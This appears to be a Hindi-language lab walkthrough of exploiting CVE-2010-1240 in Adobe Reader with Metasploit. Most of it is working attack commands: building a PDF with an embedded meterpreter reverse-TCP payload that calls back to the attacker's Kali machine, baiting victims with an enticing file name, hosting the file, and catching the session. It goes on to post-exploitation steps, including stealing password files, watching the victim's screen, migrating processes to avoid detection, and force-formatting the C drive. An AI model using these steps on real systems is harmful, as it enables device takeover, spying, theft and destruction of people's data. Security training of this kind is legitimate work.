यह प्रदर्शन वीडियो दिखाता है कि कैसे हम पीड़ित के डिवाइस को नियंत्रित कर सकते हैं, लक्ष्य को एक निर्दोष दिखने वाली PDF फ़ाइल भेजकर जिसमें वास्तव में एम्बेडेड पेलोड होता है। इस शोषण को CVE-2010-1240 के रूप में सार्वजनिक किया गया था।
आपके लिए प्रस्तुत
यह प्रदर्शन वीडियो दिखाता है कि हम लक्ष्य को निर्दोष दिखने वाली PDF फाइल भेजकर पीड़ित के डिवाइस को कैसे नियंत्रित कर सकते हैं, जिसमें वास्तव में एम्बेडेड पेलोड होता है। इस एक्सप्लॉइट को CVE-2010-1240 के रूप में सार्वजनिक किया गया था।
जैसे ही PDF को Adobe Reader में खोला जाता है, जो उपयोगकर्ता सुरक्षा पॉप-अप पर सहमत होने के लिए हमारे द्वारा धोखा दिए जाते हैं, वे हमें reverse TCP कनेक्शन के माध्यम से उनके डिवाइस से जुड़ा meterpreter सेशन प्राप्त करने देंगे। उस समय तक, उनका सारा डेटा और वे अभी क्या कर रहे हैं, सब कुछ हमारी निगरानी में रहता है।
सबसे पहले, हम MSFconsole लॉन्च करते हैं जो हमें Metasploit फ्रेमवर्क तक पहुंचने के लिए कमांड लाइन इंटरफेस प्रदान करता है।
msfconsole
फिर, हमारे लक्ष्य Windows प्लेटफॉर्म और Adobe PDF Reader से मेल खाने वाले एक्सप्लॉइट की खोज करें, जहां यह एक्सप्लॉइट्स की एक पूरी सूची प्रदर्शित करेगा जिनका उपयोग पीड़ित की Windows मशीन को हाईजैक करने और Adobe PDF Reader की कमजोरियों का फायदा उठाने के लिए किया जा सकता है।
search type:exploit platform:windows adobe pdf
इस एक्सप्लॉइटेशन में, हम पीड़ित को हाईजैक करने के लक्ष्य को प्राप्त करने हेतु नीचे दिए गए कमांड का उपयोग करके मॉड्यूल "adobe_pdf_embedded_exe" का चयन और उपयोग करते हैं।
use exploit/windows/fileformat/adobe_pdf_embedded_exe
हम नीचे दिखाए अनुसार “info” कमांड का उपयोग करके एक्सप्लॉइट की जानकारी भी देख सकते हैं:
info
फिर, हम reverse TCP कनेक्शन का उपयोग करने के लिए पेलोड सेट करते हैं। हम Meterpreter का भी उपयोग करते हैं, जो एक इंटरैक्टिव शेल प्रदान करता है जो पीड़ित की मशीन का पता लगाने के लिए कोड डालकर और निष्पादित करके सभी प्रकार के फ़ंक्शन का उपयोग करना आसान बनाता है।
set payload windows/meterpreter/reverse_tcp
फिर, हम listening host और port सेट करेंगे। LHOST के लिए, हमें हमलावर मशीन का IP पता डालना होगा, जो इस मामले में हमारी Kali मशीन का IP पता (10.0.2.4)* है।
*p.s.
इस बीच LPORT के लिए, यह हम पर निर्भर है कि हम एक ऐसा पोर्ट नंबर सेट करें जो आमतौर पर उपयोग नहीं किया जाता है।
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
फिर, हम INFILENAME* फ्लैग के साथ PDF के आधार के लिए इनपुट फाइल सेट करेंगे। इसके बाद, हम फाइलनाम को कुछ ऐसा सेट करेंगे जो पीड़ित की रुचि आकर्षित करे ताकि वह दुर्भावनापूर्ण PDF फाइल खोले।
*p.s.
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
पेलोड को PDF के साथ जेनरेट करने के लिए “exploit” कमांड दर्ज करने से पहले हम अपने विकल्पों को फिर से देख सकते हैं।
# Then we can show the info or options by
show info | show options
exploit
एक बार जब हम PDF फाइल जेनरेट कर लेते हैं, तो हम फाइल को /var/www/html पर ले जाएंगे, जो हमारी Kali मशीन की निर्देशिका है, ताकि हमारे पीड़ित के लिए बाद में PDF फाइल डाउनलोड करने हेतु वेब एप्लिकेशन सर्वर होस्ट किया जा सके।
नोट:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
फिर, अपना listener सेट करने के लिए, हम "exploit/multi/handler" का उपयोग करेंगे। फिर से, हम पेलोड, LHOST, LPORT को उसी के अनुरूप सेट करेंगे जो हमने दुर्भावनापूर्ण PDF फाइल जेनरेट करते समय परिभाषित किया था। फिर हम पेलोड चलाएंगे।
नोट:
show info या show options चलाने के लिए वैकल्पिक कमांड है।
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
एक अन्य टर्मिनल में, हम Apache सर्वर की स्थिति जांचते हैं ताकि यह सुनिश्चित किया जा सके कि यह /var/www/html में हमारी PDF फाइल होस्ट करने के लिए चल रहा है, ताकि पीड़ित फाइल डाउनलोड कर सके।
service apache2 status
# If it is inactive, start the service
service apache2 start
Windows मशीन पर, Chrome ब्राउज़र जैसा कोई भी ब्राउज़र खोलें और Kali मशीन के वेब एप्लिकेशन सर्वर तक पहुंचने के लिए हमारा Kali IP (10.0.2.4)* टाइप करें।
*नोट: कृपया अपनी खुद की Kali मशीन के IP पते पर ध्यान दें
फिर, एक उपयोगकर्ता की तरह इच्छित PDF फाइल को सेव करें।
जैसे ही पीड़ित द्वारा फाइल को Adobe Reader 8.1.2 में सुरक्षा संकेत संदेशों को स्वीकार करते हुए खोला जाता है, हम अपनी Kali मशीन पर देख सकते हैं कि हमारे पास reverse TCP कनेक्शन के माध्यम से जुड़ा एक नया सेशन है।
वास्तविक दुनिया के परिदृश्य में, हम एम्बेडेड-पेलोड PDF के साथ एक वेबसाइट स्थापित करेंगे ताकि पीड़ित फाइल डाउनलोड कर सके या ईमेल के माध्यम से संलग्न कर सके।
फिर, हम पीड़ित की मशीन पर दूरस्थ रूप से पहुंच सकते हैं और meterpreter सेशन में वे और अधिक दुर्भावनापूर्ण गतिविधियाँ कर सकते हैं जो हम चाहते थे।
help
pwd
ls
उदाहरण के लिए, यदि password.txt नाम की कोई फाइल है, तो हम download password.txt कमांड जारी कर सकते हैं
download [folder name | filename with extension]
बेशक, यदि हम वाकई दुष्ट हैं तो हम Windows मशीन से जुड़े रहने के लिए दुर्भावनापूर्ण स्क्रिप्ट (बैकडोर इम्प्लांट करना) लिख सकते हैं! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
हालांकि, हमलावर meterpreter सेशन में migrate मॉड्यूल का उपयोग करके meterpreter प्रोसेस को किसी अन्य प्रोसेस में स्थानांतरित करके संदेह को कम कर सकता है।
meterpreter> run post/windows/manage/migrate
यहां, यह पीड़ित की मशीन में स्वचालित रूप से एक नई प्रोसेस स्पॉन करेगा जिसमें यह स्वयं को स्थानांतरित कर सके। पीड़ित तब संक्रमित PDF फाइल को हटा पाएगा, पूरी तरह से अनजान कि प्रोसेस पहले ही कहीं और चली गई है।
हमलावर लक्ष्य मशीन पर कमांड प्रॉम्प्ट (cmd) या PowerShell का उपयोग करके दुर्भावनापूर्ण स्क्रिप्ट भी बना सकता है, जो पूरे ऑपरेटिंग सिस्टम को ठीक से काम न करने की स्थिति में ला सकती है।
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false
